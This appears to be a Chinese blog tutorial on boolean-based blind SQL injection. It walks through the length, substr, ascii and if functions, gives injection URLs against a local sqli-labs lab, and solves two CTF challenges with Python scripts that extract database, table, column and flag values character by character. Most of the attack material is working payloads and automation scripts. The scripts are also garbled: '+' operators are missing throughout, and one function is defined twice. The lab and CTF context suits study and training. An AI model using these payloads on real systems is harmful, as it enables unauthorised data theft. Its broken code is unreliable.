引文

之前有一篇文章给大家带来了SQL注入的基本知识点以及分类,包含的面比较广但是不深入,于是我准备详细讲讲每一种类型的SQL注入的详细利用方法以及场景,今天给大家带来的是布尔盲注,也是比较常用的一种注入方式。

基本知识

什么是布尔注入?

先了解一下什么是布尔盲注,在平常我们在网页输入SQL语句网页会给我们关于SQL语句的回显,比如SQL错报信息,我们根据这些错报信息去进行SQL注入,但你们有没有想过,如果当我们传入语句网站不会给我们回显时,我们该怎么办呢,这时我们引入布尔注入的概念,即通过一些判断语句来确认数据库的内部信息,可以看看下面的图:

有回显

无回显

下面就告诉大家如何在只有两种回显的页面,利用函数来实现我们的布尔盲注。

函数

下面给大家举例一下布尔盲注中常用的函数以及他们的作用:

length(str):返回str字符串的长度。

substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len):跟上面的一样,截取字符串

ascii(str):返回字符串str的最左面字符的ASCII代码值。

ord(str):同上,返回ascii码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

当然这只是最常见的函数,当上面这些被禁用时,我们可以寻找其他的函数,下面给大家举例如何利用这些函数。

根据布尔型的规则,网页只给我们返回TRUE或者FALSE,那么我们像下面这样进行传参:

http://127.0.0.1/Less-8/?id=1'and (length(database()))>8 -- 

判断数据库名字长度是否大于8,正确返回TRUE,错误返回FALSE。

注入过程

假如我们已经判断完数据库的名字长度,接下来就来猜测数据库的第一个字母是什么:

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>110#

我们可以根据二分法来进行判断,当我们ASCII为110返回为TRUE,111时为FALSE,我们就可以判断ASCII码为110对应的字符为数据库的第一个名称。关于ASCII对应的值可以参考下面的图:

同理我们修改匹配的数据库字段来查询第二个字符:

substr(database(),2,1)

查询出数据库的名字为security后我们按顺序查询表名的第一个字母:

1' and (ascii(substr((select table_name from information_schema.tables
 where table_schema=''security limit 0,1),1,1)))>100 -- 

最后得到表名为emails,于是我们查询字段值的第一个字母:

1' and (ascii(substr((select column_name from information_schema.columns
 where table_name='emails'),1,1)))>100 -- 

最后得到字段值。

大家有没有发现如果我们一个一个的试时间成本是不是很大,于是我们可以编写脚本来自动循环跑出来。下面会给大家带来例题。

例题

例题一

给了我们一个搜索框:

我们尝试输入后发现,输入1回显Hello, glzjin wants a girlfriend,输入2回显Do you want to be my girlfriend?,输入大于2的数回显:Error Occured When Fetch Result,而且还会检测我们语句过滤了union等关键字,但是没有过滤(),考虑布尔盲注。尝试构造PAYLOAD:

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

回显正常,可以进行SQL注入,我们利用脚本:

import requests
import time
import re
url='http://4f098f39-88d5-4922-afcc-06e3cfa8ac6e.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
    max = 127
    min = 0
    for c in range(0,127):
        s = (int)((max min)/2)
        payload = '0^(ascii(substr((select(flag)from(flag)),' str(i) ',1))>' str(s) ')'
        r = requests.post(url,data = {'id':payload})
        time.sleep(0.005)
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
            min=s
        else:
            max=s
        if((max-min)<=1):
            flag =chr(max)
            print(flag)
            break

运行得到FLAG:

例题二

也是一个搜索框,我们分别输入1和1',得到以下回显:

猜测是布尔注入,我们先查询数据库长度:

1 and length(database()) >5

得到数据库长度为4后,我们查询数据库名字:

1 and ascii(substr(database(),1,1))=115

得到库名为sqli,接下来就是查询表和字段等操作了,在网上找了一个脚本来让他自己跑:

import requests
# 爆库
def dataBaseName(url, mark):
    name = ''
    for i in range(1, 9):
        for j in "sqcwertyuioplkjhgfdazxvbnm":
            payload = url   "if(substr(database(),%d,1)='%s',1,0)" % (i, j)
            r = requests.get(payload)
            if mark in r.text:
                name = name   j
                print(name)
                break   
    print('数据库名:', name)
# 爆表
def table_name(url,mark):
    tableList = []
    for i in range(0,4):
        name = ''
        for j in range(1,9):
            for k in 'sqcwertyuioplkjhgfdazxvbnm':
                payload = url   'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,0)' %(i,j,k)
                r = requests.get(payload)
                if mark in r.text:
                    name = name   k
                    print(name)
                    break
        tableList.append(name)
    print('table_name:',tableList)
# 爆字段
def column_name(url,mark):
    columnList = []
    for i in range(0,3):
        columnName = ''
        for j in range(1,9):
            for k in 'sqcwertyuioplkjhgfdazxvbnm':
                payload = url   'if(substr((select column_name from information_schema.columns where table_name="flag" and table_schema = database() limit %d,1),%d,1)="%s",1,0)' %(i,j,k)
                r = requests.get(payload)
                if mark in r.text:
                    columnName  = k
                    print(columnName)
                    break
        columnList.append(columnName)
    print("字段名:",columnList)
# 爆字段第一个行内容
def get_data(url,mark):
    data = ''
    for i in range(1,50):
        for j in range(48,126):
            payload = url   'if(ascii(substr((select flag from flag),%d,1))=%d,1,0)' %(i,j)
            r = requests.get(payload)
            if mark in r.text:
                data  = chr(j)
                print(data)
                break
    print("字段第一个值",data)
# 爆字段前10行内容
def get_data(url,mark):
    dataList = []
    for i in range(1,10):
        data = ''
        for j in range(1,50):
            for k in range(48,126):
                payload = url   'if(ASCII(SUBSTR((SELECT flag FROM `flag` limit %d,1),%d,1))=%d,1,0)' %(i,j,k)
                r = requests.get(payload)
                if mark in r.text:
                    data  = chr(k)
                    print(data)
                    break
        dataList.append(data)
    print("字段前10行内容",dataList)
if __name__ == "__main__":
    url = "/?id="
    mark = "query_success"
    dataBaseName(url, mark)
    table_name(url, mark)
    column_name(url, mark)
    get_data(url,mark)

结语

今天详细讲了布尔注入的原理以及渗透过程,有兴趣的小伙伴可以自己搭建靶机尝试,文章中可能有错误的的地方欢迎大家指出,更多关于python 布尔注入渗透的资料请关注Devmax其它相关文章!

python 布尔注入原理及渗透过程示例的更多相关文章

  1. XCode 3.2 Ruby和Python模板

    在xcode3.2下,我的ObjectiveCPython/Ruby项目仍然可以打开更新和编译,但是你无法创建新项目.鉴于xcode3.2中缺少ruby和python的所有痕迹(即创建项目并添加新的ruby/python文件),是否有一种简单的方法可以再次安装模板?我发现了一些关于将它们复制到某个文件夹的信息,但我似乎无法让它工作,我怀疑文件夹的位置已经改变为3.2.解决方法3.2中的应用程序模板

  2. Swift基本使用-函数和闭包(三)

    声明函数和其他脚本语言有相似的地方,比较明显的地方是声明函数的关键字swift也出现了Python中的组元,可以通过一个组元返回多个值。传递可变参数,函数以数组的形式获取参数swift中函数可以嵌套,被嵌套的函数可以访问外部函数的变量。可以通过函数的潜逃来重构过长或者太复杂的函数。

  3. 10 个Python中Pip的使用技巧分享

    众所周知,pip 可以安装、更新、卸载 Python 的第三方库,非常方便。本文小编为大家总结了Python中Pip的使用技巧,需要的可以参考一下

  4. Swift、Go、Julia与R能否挑战 Python 的王者地位

    本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请发送邮件至dio@foxmail.com举报,一经查实,本站将立刻删除。

  5. 红薯因 Swift 重写开源中国失败,貌似欲改用 Python

    本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请发送邮件至dio@foxmail.com举报,一经查实,本站将立刻删除。

  6. 你没看错:Swift可以直接调用Python函数库

    上周Perfect又推出了新一轮服务器端Swift增强函数库:Perfect-Python。对,你没看错,在服务器端Swift其实可以轻松从其他语种的函数库中直接拿来调用,不需要修改任何内容。以如下python脚本为例:Perfect-Python可以用下列方法封装并调用以上函数,您所需要注意的仅仅是其函数名称以及参数。

  7. Swift中的列表解析

    在Swift中完成这个的最简单的方法是什么?我在寻找类似的东西:从Swift2.x开始,有一些与你的Python样式列表解析相当的东西。(在这个意义上,它更像是Python的xrange。如果你想保持集合懒惰一路通过,只是这样说:与Python中的列表解析语法不同,Swift中的这些操作遵循与其他操作相同的语法。

  8. swift抛出终端的python错误

    每当我尝试启动与python相关的swift时,我都会收到错误.我该如何解决?

  9. 在Android上用Java嵌入Python

    解决方法看看this,它适用于J2SE,你可以尝试在Android上运行.

  10. 在android studio中使用python代码构建android应用程序

    我有一些python代码和它的机器人,我正在寻找一种方法来使用android项目中的那些python代码.有没有办法做到这一点!?解决方法有两种主要工具可供使用,它们彼此不同:>QPython>Kivy使用Kivy,大致相同的代码也可以部署到IOS.

随机推荐

  1. 10 个Python中Pip的使用技巧分享

    众所周知,pip 可以安装、更新、卸载 Python 的第三方库,非常方便。本文小编为大家总结了Python中Pip的使用技巧,需要的可以参考一下

  2. python数学建模之三大模型与十大常用算法详情

    这篇文章主要介绍了python数学建模之三大模型与十大常用算法详情,文章围绕主题展开详细的内容介绍,具有一定的参考价值,感想取得小伙伴可以参考一下

  3. Python爬取奶茶店数据分析哪家最好喝以及性价比

    这篇文章主要介绍了用Python告诉你奶茶哪家最好喝性价比最高,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习吧

  4. 使用pyinstaller打包.exe文件的详细教程

    PyInstaller是一个跨平台的Python应用打包工具,能够把 Python 脚本及其所在的 Python 解释器打包成可执行文件,下面这篇文章主要给大家介绍了关于使用pyinstaller打包.exe文件的相关资料,需要的朋友可以参考下

  5. 基于Python实现射击小游戏的制作

    这篇文章主要介绍了如何利用Python制作一个自己专属的第一人称射击小游戏,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起动手试一试

  6. Python list append方法之给列表追加元素

    这篇文章主要介绍了Python list append方法如何给列表追加元素,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教

  7. Pytest+Request+Allure+Jenkins实现接口自动化

    这篇文章介绍了Pytest+Request+Allure+Jenkins实现接口自动化的方法,文中通过示例代码介绍的非常详细。对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下

  8. 利用python实现简单的情感分析实例教程

    商品评论挖掘、电影推荐、股市预测……情感分析大有用武之地,下面这篇文章主要给大家介绍了关于利用python实现简单的情感分析的相关资料,文中通过示例代码介绍的非常详细,需要的朋友可以参考下

  9. 利用Python上传日志并监控告警的方法详解

    这篇文章将详细为大家介绍如何通过阿里云日志服务搭建一套通过Python上传日志、配置日志告警的监控服务,感兴趣的小伙伴可以了解一下

  10. Pycharm中运行程序在Python console中执行,不是直接Run问题

    这篇文章主要介绍了Pycharm中运行程序在Python console中执行,不是直接Run问题,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教

返回
顶部